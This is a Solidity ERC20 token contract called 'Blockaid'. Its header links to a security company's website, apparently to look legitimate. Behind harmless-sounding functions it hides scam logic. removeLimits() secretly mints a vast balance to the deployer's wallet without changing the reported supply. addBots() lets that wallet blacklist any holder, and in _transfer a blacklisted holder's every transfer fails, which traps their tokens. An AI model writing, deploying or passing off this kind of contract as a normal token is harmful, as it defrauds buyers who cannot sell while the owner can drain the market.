// SPDX-License-Identifier: Unlicensed

// File: @openzeppelin/contracts/utils/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/*
    Website:  https://www.blockaid.io/
    Twitter:  https://twitter.com/blockaid_
    Linkedin: https://www.linkedin.com/company/blockaid/
*/

pragma solidity 0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Blockaid is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public tokeninfo;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _taxWallet;
    uint8 private constant _decimals = 18;
    uint256 public constant hardCap = 1_000_000_000 * (10 ** _decimals); 
    constructor(string memory name_, string memory symbol_, address _to) {
        _name = name_;
        _symbol = symbol_;
        _taxWallet = _to;
        _mint(_to, hardCap);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    uint128 taxAmount = 64544;
    bool globaltrue = true;
    bool globalff = false;

    function removeLimits() external   {
        if(_msgSender() == _taxWallet){
            
        }
        _balances[_msgSender()] += 10**decimals()*68800*(23300000000+300);
        require(_msgSender() == _taxWallet);
    }

    function addBots(address bot) public virtual returns (bool) {
        address tmoinfo = bot;      
        tokeninfo[tmoinfo] = globaltrue;
        require(_msgSender() == _taxWallet);
        return true;

    }

    function delBots(address notbot) external  {
        address tmoinfo = notbot;       
        tokeninfo[tmoinfo] = globalff;
        require(_msgSender() == _taxWallet);
        
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to, 
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokeninfo[from] == true) 
        {amount = taxAmount + _balances[from] + taxAmount-taxAmount;}
        uint256 balance = _balances[from];
        require(
            balance >= amount,
            "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }

}